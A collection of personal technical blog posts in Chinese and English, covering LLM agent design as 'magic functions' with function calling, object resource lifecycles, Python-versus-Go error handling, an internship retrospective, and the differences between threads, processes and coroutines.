但作为程序员我们都知道，函数还是一个比较低级的抽象，在业务场景下表达力不够强。这其中的一大原因是：函数自己是不维护状态的，它只能通过产生副作用来改变外部状态。为了解决这个问题，现代软件工程有两种解法：一是 continuation 或称 coroutine，二是 object 或称 OOP。后者显然由于其更贴近业务建模而更流行。

那么我们怎么把 agent 从“超级函数”升级为“超级object”？熟悉大模型应用的朋友们或许已经想到了，那就是给 agent 加上 memory。

使用 memory 一词的时候我们不妨想想，到底有什么是值得记忆的？比如，作为终端用户来说，我希望我的 chatbot 能记住我们之间每一次对话的每个细节，这是一种 memory。但是如果我的 agent 要处理一个特定的任务，它一轮一轮地调用 tools，它用 memory 记住每一个 tool 的每一个具体输出，这有价值吗？

由此看来，tools 的输出对于 agent 来说更像是 log，而 agent 真正需要的答案藏在 log 当中，那些将影响 agent 下一轮行动的信息，才是 agent 内在需要记忆的信息。

因此相比于 memory，我们应该换一个词称呼它：state。agent 在每一轮运行过程中，它首先根据自己的 state 做出决策、调用工具，然后根据 tool output 更新自己所处的 state，再进入下一轮运行。就像一个寻路机器人要知道自己在迷宫中的位置及先前探索过的路线，然后据此做出下一步移动。

而 memory 一词所描述的，指的大概是将 agent “所观察到的所有的历史”，完整地视为 agent “所处的 state”。当我们讨论在开放世界中活动的 AGI agent 时，这确实是最 general 的理解。

但如果我们想要一个解决问题的“工业机器人” agent，这种 memory 既不符合我们欣赏的软件哲学，在技术上也值得质疑。“工业机器人” agent 需要设计的是 state。

class Parent:
    # config
    feature_a_flag: bool

    # borrowed resources
    """This is a client to do HTTP requests.
    It is initialized globally, 
    and shared with all objects in the program."""
    client: Client

    # owned resources
    """This is a connection to a database server.
    We need to call `connect()` to start using it.
    And we need to call `close()` when we're done."""
    conn: Connection

    # states
    last_modified_time: float

    # children objects
    child: List[Child]

Config ​

Config is relatively simple. It is usually primitive values, like strings, numbers, booleans, etc. Or is is a composition of primitive values, like a JSON style object.

It is read-only and not changeable at runtime. Usually set up in the constructor.

Since it is read-only, it's safe to share across objects, like passing it to the constructor of other objects.

And since it is primitive, we can use it without worrying about memory management. Just pass it around and let GC to do its job.

Borrowed resources ​

Borrowed resources are usually shared across objects. They may be initialized globally, and shared with all objects. Or may be initialized in some object and borrowed by other objects.

When an object borrows a resource from another object, it does not own it. It does not need to call close() to destroy it.

However the object need to make sure the resource is available when it needs to use it, That means its lifecycle must be within the owner's lifecycle. The owner object must be alive when the borrower object is alive, and the borrower object must be destroyed before the owner object is destroyed.

Owned resources ​

As previously described, owning a resource means the object is responsible for its lifecycle. It needs to call close() to destroy it.

States ​

The word "state" can contain all informations that make up the object. However, we define it here to be a subset of owned resources. It is owned by the object and not shared with others.

The state only serves the object itself. It is frequently modified by the object's methods. In contrast, the configs and resources are usually set in the constructor, and not modified afterwards.

Although we may call a mutable method of a resource, it is changing the state of the resource, not the state of the object itself.

You may notice that the state of a owned resource is also a kind of state of the object itself. But we still separate them for clarity. It is a "sub-state".

Children objects ​

Children objects can also be considered as a kind of owned resources or states. The parent object is responsible for its lifecycle.

A child object can have its own states, and as mentioned above, they are sub-states of the parent object.

A child object can own its resources, or borrow resources from the parent object. That is intuitive, because its lifecycle is managed by the parent object, so it is naturally within the parent's lifecycle.

Generally speaking, an agent means the AI model that can interact with the environment.

But let's look into a little deeper. As I used to seen on Twitter, there were two experiments when ChatGPT was newly introduced:

• You are playing like a terminal of a computer. When I type commands, you will give me the response.
• I'm playing like a terminal of a computer. When you type commands, I will give you the response.

In practice, I find these two ways are basically all an agent needs to work. Let's take a look at the first one -- in a programming way:

The prompt is:

You are a haiku poet. You are given the following information:
CITY: {city}
WEATHER: {weather}

You need to write an haiku poem about the weather. Your output format should be a JSON string like:
{
  "haiku": "The first line of the haiku.\nThe second line of the haiku.\nThe third line of the haiku."
}

Then we write a (pesudo) code:

def invoke(city: str, weather: str) -> str:
    prompt = template.format(city=city, weather=weather)
    json_ans = llm.generate(prompt)
    json_ans = clear_json_ans(json_ans)
    ans = json.loads(json_ans)
    return ans['haiku']

The main idea here is that we treat the LLM as a magic function. It can solve a problem with some unknown magic steps. We just need to give it the input and get the output.

You can find the similar idea and tools in LlamaIndex output parser.

Now let's start from the functions. A function is basically composed of three parts:

• Input: you give arguments to the function.
• Output: the function gives you the result.
• Side Effects: the function may change the environment.

Side effect means something other than output will be produced, during the function call. For example, a function may change the value of a global variable, or print something to the screen. This is an important concept for all programming languages except for functional programming languages.

In the context of AI agent, one of the most important side effects may be from hardwares, which can create physical changes in the real world, resulting in the thing we call "robot".

However, since LLM is simply predicting the next token from the input, it doesn't have any side effects. If we want to build an agent which can interact with the environment, we need to use some methods to let the "magic function" to create side effects. OpenAI introduced the API "function calling" to achieve this goal.

Now let's define a function which can create side effects:

def send_haiku_to_twitter(haiku: str):
    twitter_api.post(haiku)

Now let's update the prompt:

You are a haiku poet. You are given the following information:
CITY: {city}
WEATHER: {weather}

You need to write an haiku poem about the weather, and then send it to Twitter.

The (pesudo) code:

def invoke(city: str, weather: str) -> None:
    prompt = template.format(city=city, weather=weather)
    llm.generate_with_function(prompt, functions=[send_haiku_to_twitter])

It is still a magic function, but now the code make use of the function calling API to call the function send_haiku_to_twitter, so that it indirectly creates a side effect: Twitter's server recieved a new post.

You can find the tools in LlamaIndex function tools.

Now the magic function have the ability to call other functions, the purpose can be more than the indirect side effects.

It can also use the output of the function call, that can help the agent to gather more information, or to make decisions.

For example, the agent can call a function to get the current weather of the city, and then use the weather information to generate the haiku.

def get_location() -> str:
    return "Shanghai"

def get_temperature(location: str, unit: Literal["C", "F"] = "C") -> float:
    return 15.5 if unit == "C" else 60

Modify the prompt:

You are a haiku poet.
Use the given tools to get the weather information.
Then you need to write an haiku poem about the weather.
Finally send the haiku to Twitter.

The (pesudo) code:

def invoke():
    llm.generate_with_function(
        prompt,
        functions=[get_location, get_temperature, send_haiku_to_twitter]
    )

Now we get a simple agent. It is a magic function without input and output, but it can call other functions to make the side effect to send a haiku to Twitter.

Following the concept of "magic function" and "function calling", we can find a suprising fact: a magic function can call another magic function.

This fact enables unlimited possibilities for the agent, because in this way a agent can command other agents, and again, the other agents can command more agents.

The unlimit controling structure is as powerful as the computer program itself -- do anything if the programmer can write the code.

Let's go one step further to the idea of "magic function".

In the programming world, one of the most powerful ablitity of a function is: Recursion.

If a magic function can call itself, what will happen? In theorey, it can do anything. It can be a general magic function which can solve any task, or so called: AGI.

Let's have a try!

def task_solve(task: str) -> str:
    """
    This function can be used to solve a task.
    """
    TEMPLATE = """
There is a task that needs to be solved. The task is:
{{ text }}

First, you should check if the task can be solved on your own without tools.
If yes, you should solve the task directly without tools as possible.
Otherwise you can transform the task into a simpler task. Then you should use the tool to solve the simpler task.
However, you are forbided to use the tool to solve the original task directly. It can only be used to solve the simpler task.
After solving the simpler task by the tool, you can now solve the original task with the result of the simpler task.
Use language the same as the original task.
"""
    prompt = Template(TEMPLATE).render(text=task)
    ans = llm.generate_with_tools_react(
        prompt, [FunctionTool.from_defaults(task_solve)]
    )
    return ans

Very promising, isn't it? But in practice, it just not work. The recursion is a powerful tool, but also dangerous. It can easily lead to infinite loops, and the AI model may not be able to handle it well.

The AI just dives in deeper and deeper, to find every definition of every word, never to return to solve the task.

This is a little disappointing, but not suprising. The professionalism and the universality can not be achieved at the same time by a simple recursion, at least for now.

Recently I'm working for NebulaGraph's GenAI team, to explore the possibility of AI together with graph database.

In this article I explained the idea of using only "magic function" and "function calling" to build any agent, which is what I learned from our team's work.

Code in this article is pesudo code, and you can use LlamaIndex to implement the idea in practice. Also some of my code is in AgentPath

Welcome to follow our further progress. You can find me on Twitter, Telegram, and GitHub with links in https://yanli.one

两种不同的范式 ​

以 Python 为例，抛出异常的方式是：

def foo():
    *# do something*
		raise Exception("something wrong")

处理异常的方式是：

try:
    foo()
except Exception as e:
    *# handle exception*

以 Go 为例，返回错误的方式是：

func foo() (int, error) {
    *// do something*
		return 0, errors.New("something wrong")
}

处理错误的方式是：

value, err := foo()
if err != nil {
    *// handle error*
}

看上去它们完成的事情差不多，但如果我们去掉错误处理的代码，不管它，会变成这样：

Python:

foo()

Go:

value, _ := foo()

两者造成的结果截然不同，Python 会上报异常，Go 会忽略错误。这代表了两种不同的哲学，前者若不处理错误即上报异常，让上层处理，而后者若不处理错误，则继续执行。

关于 back out （返回错误）的观点 ​

支持 back out ​

对开发者来说足够明确

来自 Frost Ming

用 Go 语言的时候，你一看它返回了一个 err，脑子就永远有根弦，要么必须写 if err != nil，要么主动用 _ 忽略掉错误，采用任何一种方式，就算是再粗心的程序员，都清晰地知道自己在做什么，反而更有利于及时的处理错误。 写 Go 的时候感觉自己一直在 if err != nil 正是因为每一个错误都被兜住了，不会漏掉。

反对 back out ​

无法处理的 exception 要层层 return

来自 Frost Ming

尴尬的是，不是所有错误在本函数中都能处理，对于无法处理的错误，只能把错误返回给上层，而上层也不一定能处理，于是就一直 return。

来自 t.me/kazurin

每次返回的时候都需要携带一个上下文信息帮助定位错误，否则由于没有 stack trace，错误分析工作会变得非常麻烦

对于非致命错误，go 语言比较通用的做法是在每一层返回的时候用 errors.Wrap() 给 err 附加一层上下文信息，例如 errors.Wrap(err, "failed to open config file")；rust 的做法是用 anyhow 库的 result.context() 扩展方法，或者自己创建一个用来包装的 enum，与 throw 时带上栈信息的目的是差不多的，实质上都是牺牲了程序员的便利来换取性能。

打断链式调用

来自 t.me/yeningxue

我个人的痛点其实就是文章里讲的，有些错误是需要在上层处理的，层层返回实在有点痛苦。我能接受Rust的?，但Go就完全是折磨人了。

有些操作写成链式就很自然，非要我给每一个中间值都想个变量名反而比较困难，把错误放在返回值里就很难写出这种代码了。

关于 bail out （抛出异常）的观点 ​

支持 bail out ​

来自 Frost Ming：

一个例子是用户交互程序， 你需要把一些关键错误信息显示在界面上，而这个错误的来源，可能是任意层级深度的，这时异常抛出的「直达天听」的优势就显现出来了。

反对 bail out ​

bail out 的 exception 没有合理的 catch

来自 Frost Ming：

调用者不知道调用的这段代码会不会报错，报什么错，这就导致程序永远会在无法预料的情况下崩溃。恰巧，现在两种主要的动态语言，Python 和 Javascript，都采用的这种方式。而一些开发者，为了保住 SLO 和 KPI，就会用 try: <一大坨> except: pass 的代码兜底。 底看似兜住了，其实早已千疮百孔。

性能缺陷

来自 t.me/kazurin

Throw 会带来语言和编译层面的不必要的复杂度，例如 non-local control flow，stack unwinding 等等的。这两种错误处理在底层的实现方式真的会很不一样。

想要打印栈信息的话，编译型语言（指最终编译为机器码的语言）除了 stack unwinding 之外，应该没有能兼顾高效率和无感知的做法（go 和 rust 在发生 panic 的时候都会做 stack unwinding，所以才能看到错误栈）。C++ 的异常处理就是用 stack unwinding 实现的，而 go 和 rust 都只在发生致命错误的时候使用（为了打印栈信息和清理资源）。

“bail out 和 back out 各有优劣” 当然是正确的说法，不过我还想进一步讨论一下，异常处理在具体场景下应该怎么做。

batch 型任务和 pipeline 型任务 ​

batch 型任务 ​

batch 型任务指的是，每一个子任务都不影响其后的子任务，例如：

• 有一批“同质化”的任务，使用的参数是同类的、处理的方法是相同的：

  python

  for bar in bars:
  	foo(bar)

• 一个大任务由一些互不相关的任务构成，且大任务应该“尽可能完成”：

  python

  def foo():
  	bar1()
  	bar2()
  	bar3()

这种任务中，我们希望任何一个任务的失败都不会后面的任务。这意味着每一个任务都要 catch 其产生的所有异常，以免打断其它的任务。

“同质化”的任务例如：一个 API 服务器，同一个 API 收到的每个 request 都会用相同的函数处理，一次函数运行如果产生了异常，通常框架会有兜底的 catch，对 request 返回 500 response。

更常见的又例如：一个 for 中写了很长的复杂逻辑，那么这一大段逻辑应该有兜底的 catch，打印日志后 continue 进行下一个 loop。

一个大任务由一些互不相关的任务构成，且大任务应该“尽可能完成”，举个例子比如：游戏中玩家登录的时候，我们要为玩家初始化一系列功能模块。如果在一个功能模块初始化的过程中抛出异常（bail out），那么整个登录流程就被打断，玩家无法进入游戏。如果为每一个模块初始化加上 catch，那么玩家可以正常登录游戏，只有部分异常模块的功能无法使用。

可想而知，对于 batch 型的任务，也许 back out 的写法对开发者更友好。因为这种任务意味着不应该抛出任何异常，使得整个任务失败。

pipeline 型任务 ​

pipeline 型任务则意味着，一个子任务的输出是另一个子任务的输入。此时一个子任务的失败就意味着整个任务的失败：

def foo(a):
	b = bar1(a)
	c = bar2(b)
	return c

或者链式的调用：

foo1().foo2().foo3()
bar1(bar2(bar3)))

对于这种类型的任务，bail out 就是比较方便的写法了。如果使用 back out 的语言，那么饱受诟病的 if err != nil 指的就是这种情况了。而 rust 提供的语法糖则相对友好一些。

服务型软件和工具型软件 ​

服务型软件指的是：“开发者”和“用户”有着清晰的分界，抛出的异常不应该让用户感知到，但应该让开发者感知到。

例如一个 GUI 应用，任何情况下都不应该导致程序崩溃。好的做法比如用弹窗提醒用户“该功能出现异常，建议反馈给开发者”。

上文提及的 API 服务器也是同理，任何错误都不应导致服务器崩溃，至少要兜底给用户返回 500 response。

而工具型软件通常意味着，“开发者”和“用户”不是明确分界的，因而异常本身也是接口的一部分。

这可能是一种语言特定的 SDK，例如 Python 的 requests 就会抛出多种 Exception 。这种软件往往允许抛出异常，交给用户（下游开发者）来处理。

当然还有中间地带：允许抛出异常，但只允许事先规定好的异常类型。例如陈皓前辈所提倡的，尽量使用 HTTP status code 表示错误：

(archive.today 备份)

我做系统架构的一些原则 | 酷 壳 - CoolShell

世界并不总是非黑即白 ​

现实中，我们写的函数可能有一个链式调用语句，又有一个 for 循环。它不是纯粹的 batch 或者 pipeline。抛出异常有时候可以直接抛出，有时候应该包装为预先规定好的另一种异常，有时又必须兜底处理所有异常。

个人看来，back out 风格的 rust 提供的语法糖似乎是比较好的做法，兼顾了不同的需求。bail out 风格的 Java 似乎也处理的比较好。

Java 也是用第一种异常抛出的方式，但由于它有完善的异常标注和静态检查，异常也不会随意泄漏导致程序崩溃。—— Frost Ming

在现实情况下，不同的语言各自又有什么样的 best practice？本文仅当抛砖引玉。

在离职前看到的网图

我刚入职时开始第三季度的 OKR 制定，到离职时最后的会议就是第四季度 OKR 会议，也算是完整经历了一个季度的工作。这个季度对项目来说似乎也称得上重要时期，组里持续了两个月周六加班的高强度工作，终于在我离职当天划上句号。项目正式公布了国服上线时间：

《星球：重启》11月16日公测定档！1500万预约达成！福利限时追加，留言有礼~

尽管网上对字节的工作氛围多有批评，但我这三个月来的实习体验相当不错。

首先在公司层面上，字节确实是相当“现代化”的一家企业：始终创业、多元兼容、坦诚清晰、求真务实、敢为极致。其中或许有很大的原因在于公司有庞大的海外业务。不管怎么说，我在办公室里确实看到了字节范的每一条。

在部门层面上，虽然不及抖音那样光鲜，但毕竟有了啊手这一大王牌，还称得上体面。主管相当靠谱，常谈论字节范的价值观，对我的实习安排也十分坦诚。同事也很愿意给我提供帮助。这大概就是我能获得良好的实习体验的原因。

不可否认，赶工上线国服的工作强度的确很大，不过我实习期间做的是代码的静态检查，相对独立于主项目，因此也没有承受什么压力。公司的免费三餐和健身馆也很大程度上减少了日常的负担。

说到自己身上。作为我的第一次工作经历，我也由此接触了一个大型项目的运作逻辑和流程，当然也见识了这样庞大的代码库（屎山）为什么是能跑的。而正好我的工作内容也是对代码做静态检查。

真实的工作经历也展现出了我的很多不足。在接手静态检查的工作时，前辈给我开了一批工单，对应需要实现的检查规则。然而在离职时，这些工单大部分没有完成——我的主要工作其实是设计实现了一套底层的类型分析，无法直接对应到工单上。

这一方面可以说工单的设置其实不合理，另一方面也可以说我对实际落地效果不够重视。而这件事本身其实也反映出，我对这套基于工单的工作流程不够重视，也缺少跟主管的沟通。

虽然工单流程在我这里有些失效，但我在前辈的催促下确实制订了一个工作分解和估时的时间表。我一直觉得制定时间表是很痛苦的，毕竟我自己也不知道这项工作要做多久。但这可能也说明了能力的不足：如果我对一项工作的实现路径很清晰，那应该是能做出一个靠谱的时间表的。而这也是团队协作的基础。

在答辩时，评委对我的静态检查工作提了一个开放式的问题：“这里成百上千个检查出来的问题，你要怎么推动它们的修复。”乍一听这个问题很没道理，毕竟我只负责静态检查工具的开发，修复当然是交给责任人去修复呀。但细细一想确实如此：很多代码写的不太对，但是能跑，因而也不怎么受重视；而我应该负责的并不只是“静态检查工具”，而是“团队的代码质量”。另一个角度来说，推动别人去做一件我重视的事情，大概也是一项有用的能力。

因此在离职前的最后三天，我又写了个 VSCode 的插件来显示静态检查报告。一来在编辑器里抬头不见低头见的报错，大约更能让人警觉；二来也期望这能帮助大家更轻松地修复问题。

谈论软件工程，我学到的一大道理是：屎山其实是能跑的。

对于自己写的小玩具，往往规模是可以控制的，确保代码的逻辑是充分完整正确的——如果不行，那这个小玩具就会被抛弃。

但对于一个庞大的工程，代码失控是不可避免的，屎山必然会产生，而且我也不能一走了之，更不可能“用 Rust 重写”。因此必须接受一个事实：屎山是能跑的。而对屎山的管控要从一开始就做起——我们在编码时预设这段代码会成为屎山，因此要插入足够多的 log 打印等信息，这大概也就是所谓的“可观测性”。

也给自己设计一个新的季度 OKR：

• 投入开发 https://github.com/tensorchord/pgvecto.rs ，学习理解SQL、数据库和向量。获得自我管理的能力。
• 运营一个社团的博客催稿小组，并且能够固化成为社团的定番。获得运营的能力。
• 完成 xv6 最后一章文件系统的学习，在 OpenDAL 提一个 feature 的 PR。
• 学习基本的 PL ，理解数据流和控制流分析。

祝大家生活愉快！

This is a commonly discussed topic and perhaps every programmer has been asked about it during interviews or exams. However, when I first learned about these concepts and searched for information online, I found that most explanations were not detailed enough or didn't cover the key points. So I would like to share my understanding on this topic and hopefully express it clearly.

1. Threads ​

1.1 What is a thread? ​

Let's start with threads. What are threads? As the name suggests, a thread is like a line, referring to a sequence of program instructions executed in order. For example, if we have a+b, it has a linear logic flow: first input a, then input b, add a and b, and finally output the result. This sequential execution is also apparent in assembly language, representing what we call a "line" of execution.

1.2 Thread switching in an operating system ​

A thread refers to a linearly executing program, which is a logical definition of a thread.

From the perspective of the CPU or the operating system, the operating system is a program running on the CPU. Assuming we have a simple CPU that works by fetching instructions, decoding them, executing them, reading and writing to memory, and writing back to registers in a sequence, it executes one instruction at a time in the order specified by the programmer.

When the operating system starts, it has a main thread, known as the kernel thread, which goes through initialization and enters the scheduler loop. It is important to note that the process of starting and initializing the kernel thread until it enters the scheduler is linear, just like a regular program we write, one line after another. We can refer to this as the kernel thread. Once inside the scheduler loop, a second thread appears, which are the threads of user processes. Here, when I say "process", it may lead to some ambiguity, but I mean the threads of user-written application programs.

The user-written application program, such as a+b, is compiled into a series of instructions that represent a continuous logical flow independent of the kernel's logic. So user threads and kernel threads are two different logical entities, or two different threads.

During the scheduler loop, the kernel thread switches to a user thread. During this thread switch, the system saves the register state of the kernel thread and switches to the logic of the user thread. This thread switch enables the scheduler to run user-written threads, switching between the linear logic of the kernel and the linear logic of the user program. This is a functionality of the operating system kernel.

From the perspective of the CPU, it actually executes sequentially, but it first executes the kernel thread and then the kernel switches its thread to a user thread, achieving thread switching. Therefore, from the perspective of the CPU and the operating system, threads are defined in this way.

1.3 Multi-threading and parallelism ​

From a top-level perspective, from the viewpoint of writing multi-threaded programs, the purpose of having multiple threads is generally for parallel computing. The operating system can assign these threads to multiple CPUs to run simultaneously. For example, if I have two single-threaded CPUs, the operating system can assign each thread to one CPU for execution.

Although they use different sets of registers, they can share the same memory space. For example, if a variable written by the user is stored in a specific memory location, and now two threads need to read from this memory space, they are using the same address space. They can run on two different CPUs (assuming these two CPUs are single-threaded primitive CPUs; we know that modern CPUs have many technologies, and one CPU can actually run multiple threads simultaneously).

2. Processes ​

2.1 What is a process? ​

That was about threads. Now what about processes? A process is an isolated environment provided by the operating system to each application program, similar to a "virtual machine." Why do we call it a virtual machine? Because it creates an illusion that each application program has exclusive access to a computer, and it uses a simple, linear computer with only a sequentially executing CPU and a dedicated memory.

The essence of a process is to provide an isolated environment for each application program, like having its own dedicated computer. A process has at least one thread, right? It has at least one segment of continuous logic, which may be implemented with multiple threads but at least one thread.

A piece of code, according to the concept of Turing machines, is stored in a specific location in memory. Let's not think about the physical aspect of memory, let's focus on the virtual memory provided by a process for an application program.

This memory is quite simple. It starts with a fixed address containing a segment of continuous code. Below that, there is a heap starting from another fixed address, and above that, there is a stack starting from a different address. This concept is known as the heap and stack. A process has this memory space. As a programmer, whether writing in a high-level or assembly language, we can consider ourselves writing code on this virtual machine and running our code on it. So when we discuss the stack and heap in memory, we are referring to the stack and heap on this virtual space.

2.2 How does an operating system implement processes? ​

This is what a process is. How does it simulate the exclusive use of CPU and memory? This is one of the fundamental functions of the operating system.

First, we have the scheduling mechanism for CPU allocation. The scheduling mechanism aims to distribute CPU time as evenly as possible, allowing each application program to run as if it has exclusive access to the CPU. When the time slice for a process expires, the hardware triggers a timer interrupt. It saves the register data, switches all calculation-related registers to the scheduler, loads the register data of the next process, and finally switches these registers to the next process. This process is invisible to the programmer. An application program is "stunned" and then awakened, perceiving that the registers are the same, creating the "illusion" that "nothing happened during this time." Thus, this process perceives that it has the exclusive and continuous use of the CPU.

Secondly, we have the virtual memory mechanism for memory allocation. Virtual memory primarily operates through page table mapping. By following certain rules, such as dividing physical memory into segments and extracting a few segments, these segments are combined to form contiguous memory, creating virtual memory for process usage. There is an address mapping relationship between this physical memory and virtual memory, maintained by the kernel.

Therefore, a process is like a computer with its own dedicated processor and memory, allowing an application program or a programmer to consider themselves as writing and running code on a standalone computer. This is what a process is, essentially a simulation or abstraction of a computer.

3. Comparison between Threads and Processes ​

3.1 Relationship between multi-threading, multiple processes, and parallelism ​

Multi-processing refers to the simultaneous execution of multiple applications. Whether it is multi-threading or multi-processing, they can run in parallel on a modern computer. However, it doesn't mean that they always run in parallel.

For example, if I only have a single-threaded CPU, no matter how many threads I write, they cannot be executed simultaneously on that CPU; they have to take turns using the CPU. In this case, this is essentially coroutines, mentioned in the following section.

Alternatively, even if I have multiple physically excellent CPUs, but my operating system scheduler decides to allocate all CPU resources to one process at a time, in this situation, multiple processes cannot run in parallel.

Although it may sound strange, theoretically it is possible. Parallelism and multi-threading/multi-processing are not inherently interconnected.

In general, the purpose of multithreading is to achieve parallel computing, while the purpose of multiprocessing is not necessarily parallelism. The essence of multiprocessing is to provide isolated environments for multiple applications. Therefore, when multiple threads are used within a process, they utilize the same set of contexts, while multiple processes use different contexts and memory spaces. They are fundamentally different: with different meanings, goals, and implementation methods.

3.2 Threads are not scaled-down processes ​

We often hear statements like "a process contains multiple threads." This statement may lead to the misconception that a thread is a lower-level version of a process, a tiny process. However, this feeling is incorrect because threads and processes are two different concepts. Threads do not derive from processes. As mentioned earlier, they are two different dimensions of concepts.

4. Coroutines ​

Finally, there is something called coroutines. Conceptually, coroutines are indeed linear logic, as described at the beginning of this article.

However, unlike multithreading, coroutines do not support parallelism. Why not parallel? Because parallelism may lead to data race issues.

So, multiple coroutines refer to running multiple logical threads on a single thread, just like thread switching on a single-threaded CPU as mentioned earlier. It is physically sequential and does not involve parallel execution, but logically it has multiple threads.

This is my understanding of the differences between multi-processing, multithreading, and coroutines. Thank you for reading.

这是一个老生常谈的问题，可能每个程序员都会在面试或考试中被问到。但是在我刚学习这些概念时，在网上查找资料时，我发现大部分讲解并不够详细，或者没有说到关键点。所以我想用我的理解来谈谈这个问题，并希望能清晰地表达。

一、线程 ​

1.1 线程是什么 ​

首先，我们从线程开始说起，线程是什么呢？顾名思义，线程像一条线一样，指的是一个按顺序运行的程序逻辑。比如a+b。它是线性的逻辑，先输入 a，输入 b，然后 a 加 b，然后输出，顺序连接在一起。在汇编语言中也清晰地表现出这种顺序执行，这就是逻辑上说的一个**”线”**程。

1.2 操作系统中的线程切换 ​

线程 (thread) 指的是一段线性执行的程序，这是逻辑意义上的线程。

从 CPU 的角度或操作系统的角度来看，操作系统是一个运行在 CPU 上的程序。我们假设 CPU 是一个朴素的 CPU，按照取指令、译码、运行、读写内存、写回寄存器的顺序工作，一次执行一条指令，按程序员给的指令序列顺序运行。

当操作系统启动时，它有一个主线程，即内核线程，经过初始化后进入调度器循环。需要注意的是，内核线程启动、初始化到进入调度器的过程是线性的，就像我们编写的普通程序一样，一行接一行，我们可以称之为内核线程。进入调度器循环之后，这时就会出现第二个线程，即用户进程的线程。这里说“进程”可能会引起一些歧义，我的意思是指用户编写的应用程序的线程。

用户编写的应用程序，比如a+b，编译为一系列指令，这些指令是一段连续的逻辑，与内核的逻辑无关。所以用户线程和内核线程是两个不同的逻辑，这是两个线程。

调度器循环中，内核线程会切换到用户线程。在线程切换时，系统会保存内核线程的寄存器状态，并切换到用户线程的逻辑。通过这个线程切换，调度器可以运行用户编写的线程，在内核的线性逻辑和用户程序的线性逻辑之间切换。这是操作系统内核的功能。

在 CPU 的角度，实际上它是按顺序执行的，但它先执行内核线程，然后内核会将自己的线程切换到用户线程，实现了线程切换。所以，从CPU和操作系统的角度来看，线程是这样一个东西。

1.3 多线程并行 ​

而从顶层，从用户编写多线程程序的角度来看，多线程的目的一般是为了并行计算，操作系统可以将这些线程分配给多个CPU同时运行。如果我现在有两个单线程的CPU，操作系统就可以将这两个线程分别放到两个CPU上运行。

虽然它们使用不同的寄存器，但可以共享同一个内存空间，例如用户编写的变量存储在内存的某个位置，现在有两个线程都要读取这个内存空间，所以它们使用的是同一套地址空间。它们可以在两个不同的 CPU 上运行（假设这两个 CPU 都是单线程的原始 CPU。我们知道现代的 CPU 有许多的技术，一个 CPU 其实可以同时运行多个线程）。

二、进程 ​

2.1 进程是什么 ​

以上就是线程的概念。那么进程 (process) 是什么呢？进程是操作系统提供给每个应用程序的一个隔离环境，类似于一个虚拟机，是抽象的一台计算机。为什么说是一个虚拟机？因为它给每个应用程序创建了一种独立使用一台计算机的感觉，而且使用的是一台很朴素的计算机，只有顺序执行的 CPU 和一块独立使用的内存。

进程的本质是为每个应用程序提供一个隔离环境，类似独占一台计算机。一个进程至少有一个线程，对吧？至少有一段连续的逻辑，可能可以写多线程，但至少有一个线程。

一段代码，按照图灵机的说法，被存储在内存的某个位置。我们暂且不考虑物理内存是怎样的，我们要讨论的是进程为应用程序提供的虚拟机的内存。

这个内存比较朴素，从一个固定的地址开始是一段连续的代码，然后从另一个固定地址开始向上是堆，又一个地址开始向下是栈，也就是堆栈的概念。进程拥有这样一段内存。作为一个程序员，无论是写高级语言还是汇编语言，我们都可以将自己视为在这台虚拟机上编写代码，并在这台虚拟机上运行我们的代码。所以当我们讨论内存中的堆栈时，我们说的是这个虚拟空间上的堆栈。

2.2 操作系统如何实现进程 ​

这就是进程，进程如何模拟独占的CPU和内存呢？这是操作系统的基本功能之一。

一是分配 CPU 的调度机制。调度机制是通过（简单来说）尽量均匀地分配 CPU，使每个应用程序都能运行，就像它拥有独占的 CPU 一样。等到一个进程的使用时间片到期了，硬件就触发一个定时器中断，先保存寄存器的数据，然后把所有计算用的寄存器切换到调度器上，调度器载入下一个进程的寄存器数据，最后把这些寄存器切换到下一个进程。这个过程是程序员不可见的，一个应用程序被“打晕”然后又被唤醒，它看到的寄存器是一样的，是内核给它维护了“这段时间无事发生”的“幻觉”，因此说这个进程看到的是一颗它独占使用、连续使用的 CPU。

二是分配内存的虚拟内存机制。对于虚拟内存来说，它主要通过页表映射的方式来操作。通过一定的规则，例如把物理内存切成片段，然后从中提取几个片段，并将这些片段组合成连续的内存，形成虚拟内存，供进程使用。这个物理内存和虚拟内存之间有一个地址映射的关系，由内核维护的。

因此，进程就像拥有独立处理器和独立内存的计算机，使得应用程序或者程序员可以认为自己是在一台独立计算机上编写和运行程序。这就是进程，它本质上是对计算机的一种模拟或者抽象。

三、线程和进程的对比 ​

3.1 多线程、多进程和并行的关系 ​

多进程指的是多个应用程序同时运行。无论是多线程还是多进程，在现代计算机上都可以并行运行。但并不是说它们都一定是并行的。

例如，如果我只有一颗单线程的CPU，那无论我写多少个线程，它们都无法同时使用这个CPU，必须轮流切换 CPU 的使用权。这个情况其实就是协程，下文再述。

或者，即使我有多颗物理上的优秀CPU，但我的操作系统调度器决定一次只给一个进程分配所有的 CPU 资源，那在这种情况下，多进程也不能并行运行。

虽然这听起来很奇怪，但理论上是可能的。并行和多进程、多线程并不是必然的联系。

通常来说，多线程的目的是实现并行计算，但多进程的目的不一定是。多进程的本质是为了给多个应用程序提供隔离的环境。因此，在一个进程里使用多线程使用的是同一套上下文，而多进程使用的是不同的上下文和内存空间。它们其实是本质不同的：含意不同、目的不同、实现方式也不同。

3.2 线程不是小型的进程 ​

我们还常常听到这样的说法，一个进程中有多个线程。这种说法会让人误以为，线程是一个低级的进程，线程是一个微型的进程。但这种感觉是错误的，因为线程和进程是两个不同的概念。线程并不是从进程派生出来的，正如上文所述，它们是两个不同维度的概念。

四、协程 ​

最后，还有一种称为协程的东西。协程在概念上也就是文初所述的、一个线性逻辑。

但它不像多线程一样支持并行。为什么不并行？因为并行可能导致数据竞争的问题。

所以多协程的含意就是说，在一个线程上进行多条逻辑线的运行，就像上文说的，在一颗单线程的 CPU 上做线程切换一样。它物理上是顺序执行的，不存在并行的情况，但逻辑上是有多条逻辑线。

以上就是我所理解的，关于多进程、多线程和协程的区别。谢谢阅读。

补充 ​

5.1 多进程其实是一种并发需求 ​

多进程其实是一种并发而非并行。例如一个单线程 CPU 上要跑一个支持多进程的操作系统，这其实是一个并发而不并行的需求。

5.2 和 ChatGPT 整理一遍 ​

来自 handongxue

计算机中并发和并行的区别

5.3 从功能角度看待线程和协程的区别 ​

来自 Ekstasis

“协程与线程的概念是很紧密的，它就是不能并行的多线程。”这句话似乎不是很准确。

通常情况下协程“coroutine”应该是指 cooperative multitasking (协作式多任务)的实现，而所谓线程就一般指的是 preemptive multitasking (抢占式多任务)的实现了。两种并发模型都为我们提供了独立执行流的抽象，但他们所提供抽象的不同之处在于“如何进行任务间的切换”。

